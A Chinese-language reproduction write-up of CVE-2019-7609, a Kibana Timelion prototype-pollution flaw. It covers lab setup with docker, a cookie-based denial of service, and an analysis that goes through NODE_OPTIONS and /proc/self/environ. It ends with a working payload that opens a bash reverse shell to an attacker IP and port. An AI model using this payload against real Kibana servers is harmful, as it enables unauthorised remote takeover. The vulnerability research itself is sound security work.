（CVE-2019-7609）kibana \< 6.6.0 未授权远程代码命令执行¶

一、漏洞简介¶

Kibana 是一款开源的数据分析和可视化平台，它是Elastic Stack成员之一，设计用于和Elasticsearch协作。

二、漏洞影响¶

kibana \< 6.6.0

三、复现过程¶

环境搭建¶

docker pull docker.elastic.co/kibana/kibana:6.5.4 
docker network create elastic 
docker run --network=elastic --name=elasticsearch docker.elastic.co/elasticsearch/elasticsearch:6.5.4
docker run -d --name kibana --net elastic -p 5601:5601 docker.elastic.co/kibana/kibana:6.5.4 
docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' kibana

这样启动的kibana没法调试，可以自己改改镜像，在node启动命令里加个inspect参数：

docker ps -a --no-trunc  # 找到启动脚本

在node启动命令后加上--inspect=0.0.0.0:9229

docker commit kibana kibana-debug  # 保存修改后的镜像
docker rm -f kibana
docker run --name kibana --net elastic -p 5601:5601 -p 9229:9229 kibana-debug  # 启动修改后的kibana容器

kibana控制台：http://127.0.0.1:5601/ inspect调试器：chrome://inspect/

漏洞分析¶

原型链污染点：props()函数可以给对象设置属性

有了污染点，就可以思考怎么利用了。

最简单的利用，设置一个cookie就可以导致拒绝服务：

.es(*).props(label.__proto__.cookie="aaa")

要复原的话可以在inspect调试器里删掉原型对象的cookie属性：

DOS很好实现，怎么搞成RCE呢？根据经验，容易想到一些常见情形，如：

if(obj.jsCode) eval(obj.jsCode) 这种白给的
express ejs模版引擎中的动态函数调用

作者并没有找到明显的代码执行点，但是在瞎点到canvas的时候，他发现控制台暴了很多错误（这是inpector的输出，也就是说如果启docker的时候加了-d的话，可能就错过这个RCE了...）。

作者据此得出结论：kibana在创建新进程创建进程可就是个敏感的行为了，能不能污染命令/参数呢？来动态看下进程创建的过程，

首先调用normalizeSpawnArguments.apply()处理参数，

跟进，

这里实际是在处理child_process.spawn(command[, args][, options])的第三个参数options。

这里面的有些参数是undefined的，只有声明了才会处理，也即是我们可以污染的。作者利用的就是这个env参数，它以键值对的形式向子进程传递环境变量（我尝试了一些其它参数，没发现可利用的）。

能控制进程的环境变量了，有什么用呢？我们不知道子进程会对环境变量做些什么操作啊，这是容易被忽视的一个重点。回想下控制台报的错：\"Starting inspector on 0.0.0.0:9229 failed: address already in use\"。这句话透露出的是：此时正在创建一个node命令进程，并且使用了--inpect:0.0.0.0:9229参数。这下目标就清晰了，我们能控制的node的环境变量。

在node中，有一个NODE_OPTIONS变量，

通过这个变量，可以覆盖node进程的参数。也就是说，现在我们能控制node进程的参数了。这就很有用了，比如--eval参数是可以直接执行代码的。

但是，NODE_OPTIONS似乎考虑到了这种潜在的安全问题，它只能使用部分参数，向--eval这种是用不了的。

不过作者找到了另一个参数--require，

这个有点像php里的auto_prepend_file，预加载一个文件。

现在我们可以看成有一个文件包含的洞了，怎么RCE呢？通常，我们都会上传一个文件再包含，或者去包含web服务器日志/SSH日志。作者这里利用的方法也十分巧妙，Linux下一切皆文件，我们已经能控制子进程的环境变量，也就是能控制/proc/self/environ这个文件，直接包含这个文件不就好了。

最后payload如下：

将POC里的反链IP地址换成自己的，然后在目标机器上的 Timelion 选项下将以下 POC 粘贴进去，然后点击 Run 运行：

.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -c \'bash -i>& /dev/tcp/10.70.53.113/6666 0>&1\'");//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

然后自己机器开启监听，再点击 Canvas